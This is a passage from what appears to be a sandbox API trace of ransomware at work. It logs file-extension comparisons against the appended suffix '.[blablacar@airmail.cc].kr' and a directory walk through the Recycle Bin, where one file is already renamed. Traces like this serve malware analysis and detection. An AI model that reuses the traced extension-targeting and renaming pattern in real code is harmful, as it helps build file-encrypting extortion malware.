lpString2="].kr") returned -1 [0081.811] lstrlenW (lpString=".avi") returned 4 [0081.811] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0081.811] lstrlenW (lpString=".avs") returned 4 [0081.811] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0081.811] lstrlenW (lpString=".backup") returned 7 [0081.811] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0081.811] lstrlenW (lpString=".bak") returned 4 [0081.811] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0081.812] lstrlenW (lpString=".bay") returned 4 [0081.812] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0081.812] lstrlenW (lpString=".bd") returned 3 [0081.812] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0081.812] lstrlenW (lpString=".bin") returned 4 [0081.812] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0081.812] lstrlenW (lpString=".bmp") returned 4 [0081.812] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0081.812] lstrlenW (lpString=".bz2") returned 4 [0081.812] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0081.812] lstrlenW (lpString=".c") returned 2 [0081.812] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0081.812] lstrlenW (lpString=".cdr") returned 4 [0081.812] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0081.812] lstrlenW (lpString=".cer") returned 4 [0081.812] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0081.812] lstrlenW (lpString=".cf") returned 3 [0081.812] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0081.812] lstrlenW (lpString=".cfc") returned 4 [0081.812] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0081.812] lstrlenW (lpString=".cfm") returned 4 [0081.812] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0081.812] lstrlenW (lpString=".cfml") returned 5 [0081.812] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0081.812] lstrlenW (lpString=".cfu") returned 4 [0081.812] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0081.812] lstrlenW (lpString=".chm") returned 4 [0081.813] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0081.813] lstrlenW (lpString=".cin") returned 4 [0081.813] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0081.813] lstrlenW (lpString=".class") returned 6 [0081.813] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0081.813] lstrlenW (lpString=".clx") returned 4 [0081.813] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0081.813] lstrlenW (lpString=".config") returned 7 [0081.813] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0081.813] lstrlenW (lpString=".cpp") returned 4 [0081.813] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0081.813] lstrlenW (lpString=".cr2") returned 4 [0081.813] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0081.813] lstrlenW (lpString=".crt") returned 4 [0081.813] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0081.813] lstrlenW (lpString=".crw") returned 4 [0081.813] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0081.813] lstrlenW (lpString=".cs") returned 3 [0081.813] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0081.813] lstrlenW (lpString=".css") returned 4 [0081.813] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0081.813] lstrlenW (lpString=".csv") returned 4 [0081.813] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0081.813] lstrlenW (lpString=".cub") returned 4 [0081.813] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0081.813] lstrlenW (lpString=".dae") returned 4 [0081.813] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0081.813] lstrlenW (lpString=".dat") returned 4 [0081.813] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0081.813] lstrlenW (lpString=".db") returned 3 [0081.813] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0081.813] lstrlenW (lpString=".dbf") returned 4 [0081.814] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0081.814] lstrlenW (lpString=".dbx") returned 4 [0081.814] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0081.814] lstrlenW (lpString=".dc3") returned 4 [0081.814] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0081.814] lstrlenW (lpString=".dcm") returned 4 [0081.814] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0081.814] lstrlenW (lpString=".dcr") returned 4 [0081.814] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0081.814] lstrlenW (lpString=".der") returned 4 [0081.814] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0081.814] lstrlenW (lpString=".dib") returned 4 [0081.814] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0081.814] lstrlenW (lpString=".dic") returned 4 [0081.814] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0081.814] lstrlenW (lpString=".dif") returned 4 [0081.814] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0081.814] lstrlenW (lpString=".divx") returned 5 [0081.814] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0081.814] lstrlenW (lpString=".djvu") returned 5 [0081.814] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0081.814] lstrlenW (lpString=".dng") returned 4 [0081.814] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0081.814] lstrlenW (lpString=".doc") returned 4 [0081.814] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0081.814] lstrlenW (lpString=".docm") returned 5 [0081.814] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0081.814] lstrlenW (lpString=".docx") returned 5 [0081.814] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0081.815] lstrlenW (lpString=".dot") returned 4 [0081.815] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0081.815] lstrlenW (lpString=".dotm") returned 5 [0081.815] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0081.815] lstrlenW (lpString=".dotx") returned 5 [0081.815] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0081.815] lstrlenW (lpString=".dpx") returned 4 [0081.815] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0081.815] lstrlenW (lpString=".dqy") returned 4 [0081.815] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0081.815] lstrlenW (lpString=".dsn") returned 4 [0081.815] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0081.815] lstrlenW (lpString=".dt") returned 3 [0081.815] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0081.815] lstrlenW (lpString=".dtd") returned 4 [0081.815] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0081.815] lstrlenW (lpString=".dwg") returned 4 [0081.815] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0081.815] lstrlenW (lpString=".dwt") returned 4 [0081.815] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0081.815] lstrlenW (lpString=".dx") returned 3 [0081.815] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0081.815] lstrlenW (lpString=".dxf") returned 4 [0081.815] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0081.815] lstrlenW (lpString=".edml") returned 5 [0081.815] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0081.815] lstrlenW (lpString=".efd") returned 4 [0081.815] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0081.815] lstrlenW (lpString=".elf") returned 4 [0081.816] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0081.816] lstrlenW (lpString=".emf") returned 4 [0081.816] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0081.816] lstrlenW (lpString=".emz") returned 4 [0081.816] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0081.816] lstrlenW (lpString=".epf") returned 4 [0081.816] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0081.816] lstrlenW (lpString=".eps") returned 4 [0081.816] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0081.816] lstrlenW (lpString=".epsf") returned 5 [0081.816] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0081.816] lstrlenW (lpString=".epsp") returned 5 [0081.816] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0081.816] lstrlenW (lpString=".erf") returned 4 [0081.816] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0081.816] lstrlenW (lpString=".exr") returned 4 [0081.816] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0081.816] lstrlenW (lpString=".f4v") returned 4 [0081.816] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0081.816] lstrlenW (lpString=".fido") returned 5 [0081.816] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0081.816] lstrlenW (lpString=".flm") returned 4 [0081.816] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0081.816] lstrlenW (lpString=".flv") returned 4 [0081.816] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0081.816] lstrlenW (lpString=".frm") returned 4 [0081.816] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0081.816] lstrlenW (lpString=".fxg") returned 4 [0081.816] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0081.817] lstrlenW (lpString=".geo") returned 4 [0081.817] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0081.817] lstrlenW (lpString=".gif") returned 4 [0081.817] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0081.817] lstrlenW (lpString=".grs") returned 4 [0081.817] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0081.817] lstrlenW (lpString=".gz") returned 3 [0081.817] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0081.817] lstrlenW (lpString=".h") returned 2 [0081.817] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0081.817] lstrlenW (lpString=".hdr") returned 4 [0081.817] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0081.817] lstrlenW (lpString=".hpp") returned 4 [0081.817] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0081.817] lstrlenW (lpString=".hta") returned 4 [0081.817] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0081.817] lstrlenW (lpString=".htc") returned 4 [0081.817] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0081.817] lstrlenW (lpString=".htm") returned 4 [0081.817] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0081.817] lstrlenW (lpString=".html") returned 5 [0081.817] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0081.817] lstrlenW (lpString=".icb") returned 4 [0081.817] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0081.817] lstrlenW (lpString=".ics") returned 4 [0081.817] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0081.818] lstrlenW (lpString=".iff") returned 4 [0081.818] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0081.818] lstrlenW (lpString=".inc") returned 4 [0081.818] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0081.818] lstrlenW (lpString=".indd") returned 5 [0081.818] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0081.818] lstrlenW (lpString=".ini") returned 4 [0081.818] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0081.818] lstrlenW (lpString=".iqy") returned 4 [0081.818] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0081.818] lstrlenW (lpString=".j2c") returned 4 [0081.818] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0081.818] lstrlenW (lpString=".j2k") returned 4 [0081.818] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0081.818] lstrlenW (lpString=".java") returned 5 [0081.818] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0081.818] lstrlenW (lpString=".jp2") returned 4 [0081.818] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0081.818] lstrlenW (lpString=".jpc") returned 4 [0081.818] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0081.818] lstrlenW (lpString=".jpe") returned 4 [0081.818] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0081.818] lstrlenW (lpString=".jpeg") returned 5 [0081.818] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0081.819] lstrlenW (lpString=".jpf") returned 4 [0081.819] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0081.819] lstrlenW (lpString=".jpg") returned 4 [0081.819] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0081.819] lstrlenW (lpString=".jpx") returned 4 [0081.819] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0081.819] lstrlenW (lpString=".js") returned 3 [0081.819] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0081.819] lstrlenW (lpString=".jsf") returned 4 [0081.819] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0081.819] lstrlenW (lpString=".json") returned 5 [0081.819] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0081.819] lstrlenW (lpString=".jsp") returned 4 [0081.819] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0081.819] lstrlenW (lpString=".kdc") returned 4 [0081.819] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0081.819] lstrlenW (lpString=".kmz") returned 4 [0081.819] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0081.819] lstrlenW (lpString=".kwm") returned 4 [0081.819] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0081.819] lstrlenW (lpString=".lasso") returned 6 [0081.819] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0081.819] lstrlenW (lpString=".lbi") returned 4 [0081.819] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0081.819] lstrlenW (lpString=".lgf") returned 4 [0081.819] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0081.820] lstrlenW (lpString=".lgp") returned 4 [0081.820] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0081.820] lstrlenW (lpString=".log") returned 4 [0081.820] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0081.820] lstrlenW (lpString=".m1v") returned 4 [0081.820] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0081.820] lstrlenW (lpString=".m4a") returned 4 [0081.820] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0081.820] lstrlenW (lpString=".m4v") returned 4 [0081.820] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0081.820] lstrlenW (lpString=".max") returned 4 [0081.820] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0081.820] lstrlenW (lpString=".md") returned 3 [0081.820] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0081.820] lstrlenW (lpString=".mda") returned 4 [0081.820] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0081.820] lstrlenW (lpString=".mdb") returned 4 [0081.820] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0081.820] lstrlenW (lpString=".mde") returned 4 [0081.820] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0081.820] lstrlenW (lpString=".mdf") returned 4 [0081.820] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0081.820] lstrlenW (lpString=".mdw") returned 4 [0081.820] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0081.821] lstrlenW (lpString=".mef") returned 4 [0081.821] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0081.821] lstrlenW (lpString=".mft") returned 4 [0081.821] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0081.821] lstrlenW (lpString=".mfw") returned 4 [0081.821] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0081.821] lstrlenW (lpString=".mht") returned 4 [0081.821] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0081.821] lstrlenW (lpString=".mhtml") returned 6 [0081.821] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0081.821] lstrlenW (lpString=".mka") returned 4 [0081.821] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0081.821] lstrlenW (lpString=".mkidx") returned 6 [0081.821] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0081.821] lstrlenW (lpString=".mkv") returned 4 [0081.821] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0081.821] lstrlenW (lpString=".mos") returned 4 [0081.821] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0081.821] lstrlenW (lpString=".mov") returned 4 [0081.821] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0081.821] lstrlenW (lpString=".mp3") returned 4 [0081.821] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0081.821] lstrlenW (lpString=".mp4") returned 4 [0081.821] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0081.822] lstrlenW (lpString=".mpeg") returned 5 [0081.822] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0081.822] lstrlenW (lpString=".mpg") returned 4 [0081.822] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0081.822] lstrlenW (lpString=".mpv") returned 4 [0081.822] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0081.822] lstrlenW (lpString=".mrw") returned 4 [0081.822] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0081.822] lstrlenW (lpString=".msg") returned 4 [0081.822] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0081.822] lstrlenW (lpString=".mxl") returned 4 [0081.822] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0081.822] lstrlenW (lpString=".myd") returned 4 [0081.822] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0081.822] lstrlenW (lpString=".myi") returned 4 [0081.822] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0081.822] lstrlenW (lpString=".nef") returned 4 [0081.822] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0081.822] lstrlenW (lpString=".nrw") returned 4 [0081.822] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0081.822] lstrlenW (lpString=".obj") returned 4 [0081.822] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0081.822] lstrlenW (lpString=".odb") returned 4 [0081.822] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0081.822] lstrlenW (lpString=".odc") returned 4 [0081.822] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0081.822] lstrlenW (lpString=".odm") returned 4 [0081.822] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".odp") returned 4 [0081.823] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".ods") returned 4 [0081.823] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".oft") returned 4 [0081.823] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".one") returned 4 [0081.823] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".onepkg") returned 7 [0081.823] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0081.823] lstrlenW (lpString=".onetoc2") returned 8 [0081.823] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0081.823] lstrlenW (lpString=".opt") returned 4 [0081.823] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".oqy") returned 4 [0081.823] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".orf") returned 4 [0081.823] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".p12") returned 4 [0081.823] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".p7b") returned 4 [0081.823] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".p7c") returned 4 [0081.823] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".pam") returned 4 [0081.823] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".pbm") returned 4 [0081.823] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".pct") returned 4 [0081.823] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0081.823] lstrlenW (lpString=".pcx") returned 4 [0081.824] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0081.824] lstrlenW (lpString=".pdd") returned 4 [0081.824] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0081.824] lstrlenW (lpString=".pdf") returned 4 [0081.824] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0081.824] lstrlenW (lpString=".pdp") returned 4 [0081.824] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0081.824] lstrlenW (lpString=".pef") returned 4 [0081.824] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0081.824] lstrlenW (lpString=".pem") returned 4 [0081.824] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0081.824] lstrlenW (lpString=".pff") returned 4 [0081.824] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0081.824] lstrlenW (lpString=".pfm") returned 4 [0081.824] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0081.824] lstrlenW (lpString=".pfx") returned 4 [0081.824] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0081.824] lstrlenW (lpString=".pgm") returned 4 [0081.824] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0081.824] lstrlenW (lpString=".php") returned 4 [0081.824] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0081.824] lstrlenW (lpString=".php3") returned 5 [0081.824] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0081.824] lstrlenW (lpString=".php4") returned 5 [0081.824] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0081.824] lstrlenW (lpString=".php5") returned 5 [0081.824] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0081.824] lstrlenW (lpString=".phtml") returned 6 [0081.824] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0081.824] lstrlenW (lpString=".pict") returned 5 [0081.824] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0081.825] lstrlenW (lpString=".pl") returned 3 [0081.825] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0081.825] lstrlenW (lpString=".pls") returned 4 [0081.825] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0081.825] lstrlenW (lpString=".pm") returned 3 [0081.825] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0081.825] lstrlenW (lpString=".png") returned 4 [0081.825] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0081.825] lstrlenW (lpString=".pnm") returned 4 [0081.825] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0081.825] lstrlenW (lpString=".pot") returned 4 [0081.825] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0081.825] lstrlenW (lpString=".potm") returned 5 [0081.825] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0081.825] lstrlenW (lpString=".potx") returned 5 [0081.825] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0081.825] lstrlenW (lpString=".ppa") returned 4 [0081.825] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0081.825] lstrlenW (lpString=".ppam") returned 5 [0081.825] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0081.825] lstrlenW (lpString=".ppm") returned 4 [0081.825] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0081.825] lstrlenW (lpString=".pps") returned 4 [0081.825] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0081.826] lstrlenW (lpString=".ppsm") returned 5 [0081.826] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0081.826] lstrlenW (lpString=".ppt") returned 4 [0081.826] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0081.826] lstrlenW (lpString=".pptm") returned 5 [0081.826] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0081.826] lstrlenW (lpString=".pptx") returned 5 [0081.826] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0081.826] lstrlenW (lpString=".prn") returned 4 [0081.826] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0081.826] lstrlenW (lpString=".ps") returned 3 [0081.826] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0081.826] lstrlenW (lpString=".psb") returned 4 [0081.826] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0081.826] lstrlenW (lpString=".psd") returned 4 [0081.826] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0081.826] lstrlenW (lpString=".pst") returned 4 [0081.826] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0081.826] lstrlenW (lpString=".ptx") returned 4 [0081.826] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0081.826] lstrlenW (lpString=".pub") returned 4 [0081.826] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0081.826] lstrlenW (lpString=".pwm") returned 4 [0081.826] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0081.826] lstrlenW (lpString=".pxr") returned 4 [0081.827] lstrcmpiW (lpString1=".pxr", lpString2="].kr") returned -1 [0081.827] FindNextFileW (in: hFindFile=0x4260150, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc29394ae, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc29394ae, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc297d730, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DESKTO~1.KR")) returned 0 [0081.827] FindClose (in: hFindFile=0x4260150 | out: hFindFile=0x4260150) returned 1 [0081.827] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0081.827] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0081.827] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0081.827] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0xc2b937ae, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260690 [0081.828] FindNextFileW (in: hFindFile=0x4260690, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, 